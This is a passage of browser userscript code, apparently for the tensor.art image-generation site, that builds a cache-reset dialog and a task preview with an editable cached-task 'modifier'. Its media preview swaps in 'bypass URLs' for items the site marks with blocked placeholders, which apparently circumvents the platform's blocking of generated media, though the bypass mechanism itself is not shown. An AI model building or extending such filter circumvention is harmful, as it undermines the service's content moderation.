<ul style="margin:0; padding-left:20px; color:${colors.textSecondary}; font-size:13px; line-height:1.7; display:grid; gap:4px;">
<li>Cached tasks and cached media items</li>
<li>Account info, linked tasks, and profiles</li>
<li>Settings, configs, notifications, and hidden/permanent-delete lists</li>
<li>Background logs and IndexedDB data used by this tool</li>
</ul>
<div style="padding:12px 14px; border-radius:12px; background:rgba(239,68,68,0.10); border:1px solid rgba(239,68,68,0.25); color:#fecaca; font-size:12px; line-height:1.6;">
<strong>Strict warning:</strong> after deletion, the page will reload and the tool will behave like a fresh install.
</div>
<div style="display:flex; gap:10px; justify-content:flex-end; flex-wrap:wrap; margin-top:4px;">
<button class="bypass-btn bypass-btn-secondary" data-bypass-reset-cancel style="width:auto; padding:10px 16px;">Cancel</button>
<button class="bypass-btn bypass-btn-danger" data-bypass-reset-confirm style="width:auto; padding:10px 16px;"><i class="fas fa-trash"></i> Delete Everything & Reload</button>
</div>
</div>
`;
dialog.querySelector('[data-bypass-reset-cancel]').onclick = () => overlay.remove();
dialog.querySelector('[data-bypass-reset-confirm]').onclick = async () => {
overlay.remove();
await resetAllToolData();
};
overlay.appendChild(dialog);
overlay.onclick = (e) => {
if (e.target === overlay) overlay.remove();
};
document.body.appendChild(overlay);
}
function formatTaskPreviewEditableDate(value) {
const raw = String(value ?? '').trim();
if (!raw) return '';
const normalized = normalizeTimestamp(raw);
if (!normalized) return raw;
try {
return new Date(normalized).toLocaleString();
} catch {
return raw;
}
}
function parseTaskPreviewEditableDate(value, originalValue = null) {
const raw = String(value ?? '').trim();
if (!raw) return '';
if (/^\d+$/.test(raw)) return raw;
const parsed = Date.parse(raw);
if (!Number.isFinite(parsed)) return raw;
const original = String(originalValue ?? '').trim();
if (/^\d+$/.test(original) && original.length <= 10) {
return String(Math.floor(parsed / 1000));
}
return String(parsed);
}
function persistTaskPreviewEditedTask(task, source = 'task-preview-modifier') {
if (!task || typeof task !== 'object') return false;
const nextTask = cloneToolData(task, task) || { ...task };
const taskId = String(nextTask.taskId || '').trim();
const routeId = String(nextTask.routeId || '').trim();
if (!taskId && !routeId) return false;
nextTask.taskId = taskId || nextTask.taskId || '';
nextTask.routeId = routeId || nextTask.routeId || '';
nextTask.source = nextTask.source || 'tensor.art';
nextTask.recordedAt = Number(nextTask.recordedAt) || Date.now();
nextTask.items = Array.isArray(nextTask.items)
? nextTask.items.map((item) => (cloneToolData(item, item) || { ...item }))
: [];
cacheTasks([nextTask]);
recordTaskData(nextTask);
try {
const cache = JSON.parse(localStorage.getItem(TASK_CACHE_KEY) || '{}') || {};
if (taskId) cache[taskId] = nextTask;
if (routeId) cache[routeId] = nextTask;
safeLocalStorageSet(TASK_CACHE_KEY, JSON.stringify(cache));
} catch {
// ignore
}
try {
let accountCacheChanged = false;
Object.values(accountTasksCache || {}).forEach((bucket) => {
if (!bucket || typeof bucket !== 'object') return;
if (taskId && bucket[taskId]) {
bucket[taskId] = { ...bucket[taskId], ...resolveTaskData(taskId), raw: nextTask, items: nextTask.items };
accountCacheChanged = true;
}
if (routeId && bucket[routeId]) {
bucket[routeId] = { ...bucket[routeId], ...resolveTaskData(routeId), raw: nextTask, items: nextTask.items };
accountCacheChanged = true;
}
});
if (!accountCacheChanged && userToken && taskId) {
associateTaskWithAccount(userToken, taskId, resolveTaskData(taskId) || {
taskId,
routeId,
raw: nextTask,
items: nextTask.items,
source: nextTask.source,
recordedAt: nextTask.recordedAt
});
accountCacheChanged = true;
}
if (accountCacheChanged) {
safeLocalStorageSet(USER_ACCOUNT_TASKS_KEY, JSON.stringify(accountTasksCache));
}
} catch {
// ignore
}
const itemsById = new Map((Array.isArray(itemsData) ? itemsData : []).map((item) => [String(item?.id || item?.imageId || ''), item]));
nextTask.items.forEach((item) => {
const imageId = String(item?.imageId || item?.id || '').trim();
if (!imageId) return;
const existing = itemsById.get(imageId) || {};
const mimeType = item?.mimeType || existing.mimeType || '';
const itemUrl = item?.url || item?.downloadUrl || item?.mediaUrl || item?.resourceUrl || existing.url || null;
const entry = {
...existing,
id: imageId,
imageId,
mimeType,
type: getItemType(mimeType),
taskId: routeId || taskId || existing.taskId || null,
createdAt: nextTask.createdAt || existing.createdAt || null,
expiresAt: nextTask.expireAt || nextTask.expiresAt || existing.expiresAt || null,
width: item?.width ?? existing.width ?? null,
height: item?.height ?? existing.height ?? null,
url: itemUrl,
downloadFileName: item?.downloadFileName || existing.downloadFileName || null,
workflowTemplateInfo: nextTask.workflowTemplateInfo || existing.workflowTemplateInfo || null,
workflowInfo: nextTask.workflowInfo || existing.workflowInfo || null,
visualParameters: Array.isArray(nextTask.visualParameters) ? cloneToolData(nextTask.visualParameters, nextTask.visualParameters) : (existing.visualParameters || []),
parameters: nextTask.parameters || existing.parameters || null,
workspaceType: nextTask.workspaceType || existing.workspaceType || null,
source: nextTask.source || existing.source || 'tensor.art'
};
itemsById.set(imageId, entry);
itemMap.set(imageId, {
...(itemMap.get(imageId) || {}),
imageId,
taskId,
routeId,
invalid: item?.invalid,
mimeType,
url: itemUrl,
width: entry.width,
height: entry.height,
seed: item?.seed ?? (itemMap.get(imageId) || {}).seed ?? null,
downloadFileName: entry.downloadFileName,
workflowTemplateInfo: nextTask.workflowTemplateInfo || null,
workflowInfo: nextTask.workflowInfo || null,
visualParameters: Array.isArray(nextTask.visualParameters) ? cloneToolData(nextTask.visualParameters, nextTask.visualParameters) : [],
parameters: nextTask.parameters || null,
workspaceType: nextTask.workspaceType || null,
rawTask: nextTask,
source: nextTask.source || 'tensor.art'
});
if (itemUrl && !isBlockedPlaceholderUrl(itemUrl)) {
setCachedDownloadUrl(imageId, itemUrl, mimeType, getMediaKindFromMime(mimeType) || '');
}
if (item?.invalid || isBlockedPlaceholderUrl(itemUrl)) blockedItems.add(imageId);
else blockedItems.delete(imageId);
});
itemsData = Array.from(itemsById.values()).sort((a, b) => String(b?.id || '').localeCompare(String(a?.id || '')));
updateCollapseBtnWithItems();
if (isExpanded) updateUI();
freeInternetConsoleLog('Cache Modifier', 'success', 'Saved task preview changes back to cache', {
source,
taskId: taskId || null,
routeId: routeId || null,
items: nextTask.items.length
});
return true;
}
function showTaskPreviewDialog(result) {
const colors = getThemeColors();
const overlay = document.createElement('div');
overlay.style.cssText = `position:fixed; inset:0; background:rgba(0,0,0,0.85); display:flex; align-items:center; justify-content:center; z-index:10000000; backdrop-filter:blur(8px); padding:18px;`;
const style = document.createElement('style');
style.textContent = `
.bypass-task-preview-dialog {
scrollbar-width: thin;
scrollbar-color: rgba(99,102,241,0.68) rgba(15,23,42,0.16);
}
.bypass-task-preview-dialog::-webkit-scrollbar,
.bypass-task-preview-dialog *::-webkit-scrollbar {
width: 10px;
height: 10px;
}
.bypass-task-preview-dialog::-webkit-scrollbar-track,
.bypass-task-preview-dialog *::-webkit-scrollbar-track {
background: rgba(15,23,42,0.14);
border-radius: 999px;
}
.bypass-task-preview-dialog::-webkit-scrollbar-thumb,
.bypass-task-preview-dialog *::-webkit-scrollbar-thumb {
background: linear-gradient(180deg, rgba(99,102,241,0.88), rgba(56,189,248,0.72));
border-radius: 999px;
border: 2px solid rgba(15,23,42,0.18);
}
.bypass-task-preview-dialog::-webkit-scrollbar-thumb:hover,
.bypass-task-preview-dialog *::-webkit-scrollbar-thumb:hover {
background: linear-gradient(180deg, rgba(99,102,241,1), rgba(14,165,233,0.82));
}
`;
overlay.appendChild(style);
const dialog = document.createElement('div');
dialog.className = 'bypass-task-preview-dialog';
dialog.style.cssText = `background:${colors.bg}; border-radius:16px; width:95%; max-width:860px; max-height:90vh; overflow-y:auto; box-shadow:0 25px 80px rgba(0,0,0,0.9); border:1px solid ${colors.border}; color:${colors.text};`;
const header = document.createElement('div');
header.style.cssText = `padding:20px; border-bottom:1px solid ${colors.border}; position:sticky; top:0; background:${colors.bg}; z-index:2;`;
const content = document.createElement('div');
content.style.cssText = 'padding:20px; display:grid; gap:20px;';
let modifierEnabled = false;
let rawExpanded = false;
let taskDraft = result.type === 'task'
? (cloneToolData(result.data, result.data) || { ...(result.data || {}) })
: (cloneToolData(result.data, result.data) || { ...(result.data || {}) });
const close = () => overlay.remove();
const getPathValue = (obj, path) => {
if (!obj || !path) return undefined;
return String(path).split('.').reduce((acc, part) => {
if (acc == null) return undefined;
return acc[part];
}, obj);
};
const setPathValue = (obj, path, value) => {
if (!obj || !path) return;
const parts = String(path).split('.');
let cursor = obj;
for (let i = 0; i < parts.length - 1; i += 1) {
const key = parts[i];
const nextKey = parts[i + 1];
if (cursor[key] == null || typeof cursor[key] !== 'object') {
cursor[key] = /^\d+$/.test(nextKey) ? [] : {};
}
cursor = cursor[key];
}
cursor[parts[parts.length - 1]] = value;
};
const autoResizeField = (el) => {
if (!el || el.tagName !== 'TEXTAREA') return;
el.style.height = 'auto';
el.style.height = `${Math.max(el.scrollHeight, 120)}px`;
el.style.overflow = 'hidden';
};
const createEditorField = (path, value, options = {}) => {
const { multiline = false, placeholder = '', type = 'text', accent = colors.text, fontFamily = '', minHeight = 38 } = options;
const field = document.createElement(multiline ? 'textarea' : 'input');
field.setAttribute('data-preview-field', path);
field.setAttribute('data-preview-field-type', type);
if (!multiline) field.type = 'text';
field.value = value == null ? '' : String(value);
field.placeholder = placeholder;
field.spellcheck = false;
field.style.cssText = `
width:100%;
min-width:0;
padding:10px 12px;
border-radius:10px;
border:1px solid ${colors.border};
background:${colors.bg};
color:${accent};
font-size:12px;
line-height:1.55;
outline:none;
${fontFamily ? `font-family:${fontFamily};` : ''}
${multiline ? `resize:none; min-height:${minHeight}px; overflow:hidden;` : ''}
`;
if (multiline) {
field.addEventListener('input', () => autoResizeField(field));
requestAnimationFrame(() => autoResizeField(field));
}
return field;
};
const readTaskDraftFromUi = ({ allowRaw = true } = {}) => {
if (result.type !== 'task') return taskDraft;
if (modifierEnabled && allowRaw && rawExpanded) {
const rawEditor = content.querySelector('[data-preview-raw-editor]');
const rawText = String(rawEditor?.value || '').trim();
if (rawText) {
const parsed = JSON.parse(rawText);
if (!parsed || typeof parsed !== 'object') throw new Error('Raw JSON editor must contain a task object.');
return parsed;
}
}
const nextTask = cloneToolData(taskDraft, taskDraft) || { ...taskDraft };
content.querySelectorAll('[data-preview-field]').forEach((field) => {
const path = field.getAttribute('data-preview-field');
const type = field.getAttribute('data-preview-field-type') || 'text';
const originalValue = getPathValue(taskDraft, path);
let nextValue = field.value;
if (type === 'number') {
const trimmed = String(nextValue || '').trim();
nextValue = trimmed === '' ? '' : trimmed;
}
if (type === 'date') {
nextValue = parseTaskPreviewEditableDate(nextValue, originalValue);
}
setPathValue(nextTask, path, nextValue);
});
return nextTask;
};
const saveTaskDraft = () => {
try {
const nextTask = readTaskDraftFromUi({ allowRaw: true });
if (!persistTaskPreviewEditedTask(nextTask)) {
throw new Error('Unable to save task changes because no task id/route id was found.');
}
taskDraft = cloneToolData(nextTask, nextTask) || { ...nextTask };
result.data = cloneToolData(taskDraft, taskDraft) || { ...taskDraft };
showToast('Cache modifier saved task changes', 'success');
render();
} catch (error) {
showToast(`Save failed: ${String(error?.message || error)}`, 'error');
freeInternetConsoleLog('Cache Modifier', 'error', 'Failed saving task preview edits', {
taskId: result?.taskId || result?.data?.taskId || null,
error: String(error?.message || error)
});
}
};
const openFullJsonEditor = () => {
let editorValue = '';
try {
editorValue = JSON.stringify(readTaskDraftFromUi({ allowRaw: false }), null, 2);
} catch {
editorValue = JSON.stringify(taskDraft, null, 2);
}
showCodeEditorDialog({
title: 'Task cache JSON editor',
description: 'Edit the full cached task object. Save applies the result back into the local cache modifier system.',
initialValue: editorValue,
confirmLabel: 'Apply JSON',
downloadFilename: `task_${sanitizeFilename(String(taskDraft?.taskId || taskDraft?.routeId || 'preview'))}.json`,
validate: (text) => {
const parsed = JSON.parse(text);
if (!parsed || typeof parsed !== 'object') throw new Error('JSON must be an object.');
return parsed;
}
}, (parsed) => {
taskDraft = cloneToolData(parsed, parsed) || { ...parsed };
rawExpanded = true;
modifierEnabled = true;
showToast('Applied JSON to cache modifier draft', 'success');
render();
});
};
const renderHeader = () => {
const idLabel = result.type === 'task'
? (taskDraft?.taskId || taskDraft?.routeId || result.taskId || 'Unknown Task')
: (result.id || 'Unknown Item');
header.innerHTML = `
<div style="display:flex; justify-content:space-between; align-items:center; gap:12px;">
<div>
<h2 style="margin:0; font-size:18px; color:#6366f1;">
<i class="fas ${result.type === 'task' ? 'fa-folder' : 'fa-image'}"></i> ${result.type === 'task' ? 'Task' : 'Item'} Preview
</h2>
<p style="margin:4px 0 0 0; font-size:12px; color:${colors.textSecondary};">${escapeHtml(String(idLabel))}</p>
</div>
<button type="button" data-preview-close style="background:transparent; border:none; color:${colors.text}; cursor:pointer; font-size:24px; line-height:1; padding:4px 8px; border-radius:10px;">×</button>
</div>
`;
header.querySelector('[data-preview-close]')?.addEventListener('click', close);
};
const appendTaskInfoSection = (task) => {
const section = document.createElement('div');
section.style.cssText = 'display:grid; gap:12px;';
const title = document.createElement('h3');
title.style.cssText = `font-size:14px; margin:0; color:${colors.text};`;
title.innerHTML = '<i class="fas fa-info-circle"></i> Task Information';
section.appendChild(title);
const grid = document.createElement('div');
grid.style.cssText = 'display:grid; gap:8px; font-size:12px;';
const templateNamePath = task?.workflowTemplateInfo?.name != null ? 'workflowTemplateInfo.name' : 'workflowInfo.name';
const creditsPath = task?.raw?.credits != null ? 'raw.credits' : 'credits';
const processPercentPath = task?.raw?.processPercent != null ? 'raw.processPercent' : 'processPercent';
const rows = [
{ label: 'Tool Name', icon: 'fa-wrench', path: templateNamePath, value: task?.workflowTemplateInfo?.name || task?.workflowInfo?.name || result.toolName || '', accent: colors.text },
{ label: 'Task ID', icon: 'fa-tag', path: 'taskId', value: task?.taskId || '', accent: '#6366f1', mono: true },
{ label: 'Status', icon: 'fa-check-circle', path: 'status', value: task?.status || '', accent: task?.status === 'FINISH' ? '#10b981' : (task?.status === 'FAILED' ? '#ef4444' : '#f59e0b') },
{ label: 'Process %', icon: 'fa-chart-line', path: processPercentPath, value: String(task?.raw?.processPercent ?? task?.processPercent ?? 100), accent: '#fbbf24' },
{ label: 'Workspace', icon: 'fa-layer-group', path: 'workspaceType', value: task?.workspaceType || '', accent: colors.text },
{ label: 'Created', icon: 'fa-clock', path: 'createdAt', value: formatTaskPreviewEditableDate(task?.createdAt), accent: colors.text, type: 'date' },
{ label: 'Expires', icon: 'fa-hourglass-end', path: 'expireAt', value: formatTaskPreviewEditableDate(task?.expireAt), accent: colors.text, type: 'date' },
{ label: 'Started', icon: 'fa-play', path: 'raw.taskStartAt', value: formatTaskPreviewEditableDate(task?.raw?.taskStartAt), accent: colors.text, type: 'date' },
{ label: 'Finished', icon: 'fa-flag-checkered', path: 'raw.taskFinishAt', value: formatTaskPreviewEditableDate(task?.raw?.taskFinishAt), accent: colors.text, type: 'date' },
{ label: 'Source', icon: 'fa-link', path: 'source', value: task?.source || result.source || '', accent: '#a78bfa' },
{ label: 'Items', icon: 'fa-images', path: '', value: String(Array.isArray(task?.items) ? task.items.length : 0), accent: colors.text, readOnly: true },
{ label: 'Credits', icon: 'fa-coins', path: creditsPath, value: String(task?.raw?.credits ?? task?.credits ?? ''), accent: '#fbbf24' },
{ label: 'User ID', icon: 'fa-user', path: 'userId', value: task?.userId || '', accent: colors.text, mono: true },
{ label: 'Route ID', icon: 'fa-route', path: 'routeId', value: task?.routeId || '', accent: colors.text, mono: true }
];
rows.forEach((row) => {
const line = document.createElement('div');
line.style.cssText = `display:flex; justify-content:space-between; align-items:flex-start; gap:12px; padding:8px; background:${colors.bgSecondary}; border-radius:6px;`;
const label = document.createElement('span');
label.style.cssText = `color:${colors.textSecondary}; flex-shrink:0;`;
label.innerHTML = `<i class="fas ${row.icon}"></i> ${row.label}:`;
line.appendChild(label);
const valueHost = document.createElement('div');
valueHost.style.cssText = 'flex:1; min-width:0; text-align:right;';
if (modifierEnabled && row.path && !row.readOnly) {
valueHost.appendChild(createEditorField(row.path, row.value, {
type: row.type || 'text',
accent: row.accent,
fontFamily: row.mono ? "ui-monospace, SFMono-Regular, Menlo, Monaco, Consolas, 'Liberation Mono', 'Courier New', monospace" : ''
}));
} else {
const value = document.createElement('span');
value.style.cssText = `color:${row.accent}; font-weight:600; ${row.mono ? "font-family:ui-monospace, SFMono-Regular, Menlo, Monaco, Consolas, 'Liberation Mono', 'Courier New', monospace; font-size:10px;" : ''} word-break:break-word;`;
value.textContent = row.value || '—';
valueHost.appendChild(value);
}
line.appendChild(valueHost);
grid.appendChild(line);
});
section.appendChild(grid);
const visualParams = Array.isArray(task?.visualParameters) ? task.visualParameters : [];
if (visualParams.length) {
const visualWrap = document.createElement('div');
visualWrap.style.cssText = `padding:12px; background:${colors.bgSecondary}; border-radius:8px; border-left:3px solid #a78bfa; display:grid; gap:8px;`;
visualWrap.innerHTML = `<div style="color:${colors.text}; font-weight:600; font-size:12px;"><i class="fas fa-sliders-h"></i> Visual Parameters</div>`;
visualParams.forEach((param, index) => {
const row = document.createElement('div');
row.style.cssText = 'display:grid; gap:6px;';
if (modifierEnabled) {
row.appendChild(createEditorField(`visualParameters.${index}.name`, param?.name || '', { placeholder: 'Parameter name', accent: '#a78bfa' }));
row.appendChild(createEditorField(`visualParameters.${index}.value`, param?.value || '', { placeholder: 'Parameter value', multiline: true, accent: colors.text, minHeight: 70 }));
} else {
row.innerHTML = `<div style="font-size:11px; line-height:1.6;"><span style="color:#a78bfa; font-weight:600;">${escapeHtml(String(param?.name || 'Unnamed'))}:</span> <span style="color:white;">${escapeHtml(String(param?.value || ''))}</span></div>`;
}
visualWrap.appendChild(row);
});
section.appendChild(visualWrap);
}
const parametersValue = task?.parameters || task?.raw?.parameters || '';
if (parametersValue || modifierEnabled) {
const paramWrap = document.createElement('div');
paramWrap.style.cssText = `padding:12px; background:${colors.bgSecondary}; border-radius:8px; border-left:3px solid #10b981; display:grid; gap:8px;`;
paramWrap.innerHTML = `<div style="color:${colors.text}; font-weight:600; font-size:11px;"><i class="fas fa-cog"></i> Parameters</div>`;
if (modifierEnabled) {
paramWrap.appendChild(createEditorField('parameters', parametersValue, {
multiline: true,
accent: colors.textSecondary,
fontFamily: "ui-monospace, SFMono-Regular, Menlo, Monaco, Consolas, 'Liberation Mono', 'Courier New', monospace",
minHeight: 120
}));
} else {
const text = document.createElement('div');
text.style.cssText = `color:${colors.textSecondary}; font-size:10px; font-family:ui-monospace, SFMono-Regular, Menlo, Monaco, Consolas, 'Liberation Mono', 'Courier New', monospace; word-break:break-all; white-space:pre-wrap;`;
text.textContent = parametersValue || 'No parameters';
paramWrap.appendChild(text);
}
section.appendChild(paramWrap);
}
content.appendChild(section);
};
const appendItemsSection = (task) => {
const items = Array.isArray(task?.items) ? task.items : [];
if (!items.length) return;
const section = document.createElement('div');
section.style.cssText = 'display:grid; gap:12px;';
section.innerHTML = `<h3 style="font-size:14px; margin:0; color:${colors.text};"><i class="fas fa-images"></i> Items Details</h3>`;
const list = document.createElement('div');
list.style.cssText = 'display:flex; flex-direction:column; gap:10px; max-height:400px; overflow-y:auto; padding-right:4px;';
items.forEach((item, index) => {
const imageId = item?.imageId || item?.id;
if (!imageId) return;
const card = document.createElement('div');
card.style.cssText = `padding:12px; background:${colors.bgSecondary}; border-radius:8px; border:1px solid ${colors.border}; display:grid; gap:8px;`;
const status = getMediaStatus(imageId);
const statusIcons = [];
if (status.downloaded) statusIcons.push('<i class="fas fa-download" title="Downloaded" style="color:#10b981;"></i>');
if (status.telegram) statusIcons.push('<i class="fab fa-telegram" title="Sent to Telegram" style="color:#0088cc;"></i>');
if (status.discord) statusIcons.push('<i class="fab fa-discord" title="Sent to Discord" style="color:#5865f2;"></i>');
card.innerHTML = `
<div style="display:flex; justify-content:space-between; gap:10px; align-items:flex-start;">
<div style="display:grid; gap:3px; min-width:0;">
<div style="font-weight:700; color:#6366f1; font-size:11px; font-family:ui-monospace, SFMono-Regular, Menlo, Monaco, Consolas, 'Liberation Mono', 'Courier New', monospace;">${escapeHtml(String(imageId))}</div>
<div style="font-size:10px; color:${colors.textSecondary};">${escapeHtml(String(item?.mimeType || 'Unknown type'))}</div>
</div>
<div style="display:flex; gap:6px; align-items:center; flex-shrink:0;">${statusIcons.join('')}</div>
</div>
`;
const fieldsWrap = document.createElement('div');
fieldsWrap.style.cssText = 'display:grid; gap:8px;';
const itemFields = [
{ label: 'Image ID', path: `items.${index}.imageId`, value: item?.imageId || '', accent: '#6366f1', mono: true },
{ label: 'Mime Type', path: `items.${index}.mimeType`, value: item?.mimeType || '', accent: colors.text },
{ label: 'Width', path: `items.${index}.width`, value: item?.width || '', accent: colors.textSecondary },
{ label: 'Height', path: `items.${index}.height`, value: item?.height || '', accent: colors.textSecondary },
{ label: 'URL', path: `items.${index}.url`, value: item?.url || item?.downloadUrl || item?.mediaUrl || '', accent: '#93c5fd', mono: true }
];
itemFields.forEach((field) => {
const row = document.createElement('div');
row.style.cssText = 'display:grid; gap:4px;';
const label = document.createElement('div');
label.style.cssText = `font-size:10px; color:${colors.textSecondary}; font-weight:700; text-transform:uppercase; letter-spacing:0.35px;`;
label.textContent = field.label;
row.appendChild(label);
if (modifierEnabled) {
row.appendChild(createEditorField(field.path, field.value, {
multiline: field.label === 'URL',
accent: field.accent,
fontFamily: field.mono ? "ui-monospace, SFMono-Regular, Menlo, Monaco, Consolas, 'Liberation Mono', 'Courier New', monospace" : '',
minHeight: field.label === 'URL' ? 110 : 38
}));
} else {
const value = document.createElement(field.label === 'URL' ? 'a' : 'div');
if (field.label === 'URL') {
value.href = field.value || '#';
value.target = '_blank';
value.rel = 'noopener noreferrer';
value.style.cssText = `font-size:10px; font-family:ui-monospace, SFMono-Regular, Menlo, Monaco, Consolas, 'Liberation Mono', 'Courier New', monospace; color:#93c5fd; word-break:break-all; text-decoration:none;`;
} else {
value.style.cssText = `font-size:11px; color:${field.accent}; ${field.mono ? "font-family:ui-monospace, SFMono-Regular, Menlo, Monaco, Consolas, 'Liberation Mono', 'Courier New', monospace;" : ''}`;
}
value.textContent = field.value || '—';
row.appendChild(value);
}
fieldsWrap.appendChild(row);
});
card.appendChild(fieldsWrap);
list.appendChild(card);
});
section.appendChild(list);
content.appendChild(section);
};
const appendPreviewSection = (task) => {
const items = Array.isArray(task?.items) ? task.items : [];
if (!items.length) return;
const section = document.createElement('div');
section.style.cssText = 'display:grid; gap:12px;';
section.innerHTML = `<h3 style="font-size:14px; margin:0; color:${colors.text};">Media Preview</h3>`;
const grid = document.createElement('div');
grid.style.cssText = 'display:grid; grid-template-columns:repeat(auto-fill, minmax(150px, 1fr)); gap:12px;';
items.slice(0, 6).forEach((item) => {
if (!item?.imageId) return;
const tile = document.createElement('div');
tile.style.cssText = `aspect-ratio:1; border-radius:8px; overflow:hidden; border:1px solid ${colors.border}; position:relative; cursor:pointer; background:${colors.bgSecondary};`;
const mimeType = item?.mimeType || '';
if (mimeType.startsWith('video/')) {
const video = document.createElement('video');
video.controls = true;
video.muted = true;
video.preload = 'metadata';
video.style.cssText = 'width:100%; height:100%; object-fit:cover;';
tile.appendChild(video);
(async () => {
try {
const bypassUrl = getCachedDownloadUrl(item.imageId, mimeType) || await ensureDownloadUrl(item.imageId, mimeType);
if (!bypassUrl) throw new Error('No bypass URL');
video.src = bypassUrl;
attachAutoRefreshOnMediaError(video, item.imageId, mimeType || 'video/mp4', { forceKind: 'video' });
} catch {
tile.innerHTML = `<div style="width:100%; height:100%; display:flex; align-items:center; justify-content:center; background:rgba(99,102,241,0.1); color:#6366f1;"><i class="fas fa-play-circle" style="font-size:48px;"></i></div>`;
}
})();
} else {
const img = document.createElement('img');
img.style.cssText = 'width:100%; height:100%; object-fit:cover;';
tile.appendChild(img);
(async () => {
try {
const bypassUrl = (!isBlockedPlaceholderUrl(item?.url) && item?.url) || getCachedDownloadUrl(item.imageId, mimeType) || await ensureDownloadUrl(item.imageId, mimeType);
if (!bypassUrl) throw new Error('No bypass URL');
img.src = bypassUrl;
attachAutoRefreshOnMediaError(img, item.imageId, mimeType || 'image/png', { forceKind: 'image' });
} catch {
tile.innerHTML = `<div style="width:100%; height:100%; display:flex; align-items:center; justify-content:center; background:rgba(239,68,68,0.1); color:#ef4444;"><i class="fas fa-image"></i></div>`;
}
})();
}
tile.onclick = async () => {
const bypassUrl = (!isBlockedPlaceholderUrl(item?.url) && item?.url) || getCachedDownloadUrl(item.imageId, mimeType) || await ensureDownloadUrl(item.imageId, mimeType);
if (bypassUrl) {
openImageModal(bypassUrl, task.taskId, task.createdAt, task.expireAt, [], item.imageId, mimeType);
}
};
grid.appendChild(tile);
});
if (items.length > 6) {
const more = document.createElement('div');
more.style.cssText = 'aspect-ratio:1; border-radius:8px; display:flex; align-items:center; justify-content:center; background:rgba(99,102,241,0.1); color:#6366f1; font-size:14px; font-weight:700;';
more.textContent = `+${items.length - 6} more`;
grid.appendChild(more);
}
section.appendChild(grid);
content.appendChild(section);
};
const appendModifierSection = () => {
const wrap = document.createElement('div');
wrap.style.cssText = `padding:14px; border-radius:12px; border:1px solid rgba(99,102,241,0.35); background:linear-gradient(135deg, rgba(99,102,241,0.12), rgba(56,189,248,0.08)); display:grid; gap:10px;`;
const top = document.createElement('div');
top.style.cssText = 'display:flex; align-items:center; justify-content:space-between; gap:12px; flex-wrap:wrap;';
const label = document.createElement('label');
label.style.cssText = 'display:flex; align-items:center; gap:10px; cursor:pointer; font-weight:700; color:#c7d2fe;';
const input = document.createElement('input');
input.type = 'checkbox';
input.className = 'bypass-checkbox';
input.checked = modifierEnabled;
input.onchange = () => {
modifierEnabled = input.checked;
if (!modifierEnabled) rawExpanded = false;
render();
};
label.appendChild(input);
label.appendChild(document.createTextNode('Modifier'));
top.appendChild(label);
const note = document.createElement('div');
note.style.cssText = `font-size:12px; color:${colors.textSecondary}; line-height:1.55;`;
note.innerHTML = '<strong style="color:#e0e7ff;">Cache modifier</strong> lets you edit cached task fields inline, tweak raw JSON, and save the result back into local task/item cache data.';
wrap.appendChild(top);
wrap.appendChild(note);
if (modifierEnabled) {
const actions = document.createElement('div');
actions.style.cssText = 'display:flex; gap:8px; flex-wrap:wrap;';
const saveBtn = document.createElement('button');
saveBtn.className = 'bypass-btn bypass-btn-primary';
saveBtn.style.cssText = 'width:auto; padding:8px 12px;';
saveBtn.innerHTML = '<i class="fas fa-save"></i> Save';
saveBtn.onclick = saveTaskDraft;
const resetBtn = document.createElement('button');
resetBtn.className = 'bypass-btn bypass-btn-secondary';
resetBtn.style.cssText = 'width:auto; padding:8px 12px;';
resetBtn.innerHTML = '<i class="fas fa-rotate-left"></i> Reset Draft';
resetBtn.onclick = () => render();
const jsonBtn = document.createElement('button');
jsonBtn.className = 'bypass-btn bypass-btn-secondary';
jsonBtn.style.cssText = 'width:auto; padding:8px 12px;';
jsonBtn.innerHTML = '<i class="fas fa-code"></i> Open JSON Editor';
jsonBtn.onclick = openFullJsonEditor;
actions.appendChild(saveBtn);
actions.appendChild(resetBtn);
actions.appendChild(jsonBtn);
wrap.appendChild(actions);
}
content.appendChild(wrap);
};
const appendRawSection = () => {
const section = document.createElement('div');
section.style.cssText = 'display:grid; gap:10px;';
const toggle = document.createElement('button');
toggle.className = 'bypass-btn bypass-btn-secondary';
toggle.style.cssText = 'width:100%; justify-content:flex-start; padding:10px 12px;';
toggle.innerHTML = rawExpanded ? '<i class="fas fa-code"></i> Hide Raw Data' : '<i class="fas fa-code"></i> Show Raw Data';
toggle.onclick = () => {
rawExpanded = !rawExpanded;
render();
};
section.appendChild(toggle);
if (rawExpanded) {
if (modifierEnabled) {
let rawText = JSON.stringify(readTaskDraftFromUi({ allowRaw: false }), null, 2);
const editor = createEditorField('__raw__', rawText, {
multiline: true,
type: 'raw-json',
accent: '#cbd5e1',
fontFamily: "ui-monospace, SFMono-Regular, Menlo, Monaco, Consolas, 'Liberation Mono', 'Courier New', monospace",
minHeight: 280
});
editor.removeAttribute('data-preview-field');
editor.setAttribute('data-preview-raw-editor', 'true');
editor.style.background = colors.bgTertiary;
section.appendChild(editor);
requestAnimationFrame(() => autoResizeField(editor));
} else {
const pre = document.createElement('pre');
pre.style.cssText = `background:${colors.bgTertiary}; padding:12px; border-radius:10px; font-size:10px; line-height:1.55; color:#94a3b8; margin:0; white-space:pre-wrap; word-break:break-word; overflow:visible;`;
pre.textContent = JSON.stringify(taskDraft, null, 2);
section.appendChild(pre);
}
}
content.appendChild(section);
};
const appendActionRow = () => {
const actions = document.createElement('div');
actions.style.cssText = 'display:flex; gap:8px; flex-wrap:wrap;';
if (modifierEnabled && result.type === 'task') {
const saveBtn = document.createElement('button');
saveBtn.className = 'bypass-btn bypass-btn-primary';
saveBtn.style.cssText = 'flex:1; min-width:160px;';
saveBtn.innerHTML = '<i class="fas fa-save"></i> Save';
saveBtn.onclick = saveTaskDraft;
actions.appendChild(saveBtn);
}
const deleteBtn = document.createElement('button');
deleteBtn.className = 'bypass-btn bypass-btn-danger';
deleteBtn.style.cssText = 'flex:1; min-width:140px;';
deleteBtn.innerHTML = '<i class="fas fa-trash"></i> Delete';
deleteBtn.onclick = () => {
close();
if (result.type === 'task') {
showDeleteCacheDialog(taskDraft?.taskId || result.taskId);
}
};
const closeBtn = document.createElement('button');
closeBtn.className = 'bypass-btn bypass-btn-secondary';
closeBtn.style.cssText = 'flex:1; min-width:140px;';
closeBtn.textContent = 'Close';
closeBtn.onclick = close;
actions.appendChild(deleteBtn);
actions.appendChild(closeBtn);
content.appendChild(actions);
};
const render = () => {
renderHeader();
content.innerHTML = '';
if (result.type === 'task') {
appendModifierSection();
appendPreviewSection(taskDraft);
appendTaskInfoSection(taskDraft);
appendItemsSection(taskDraft);
appendRawSection();
} else {
const fallback = document.createElement('pre');
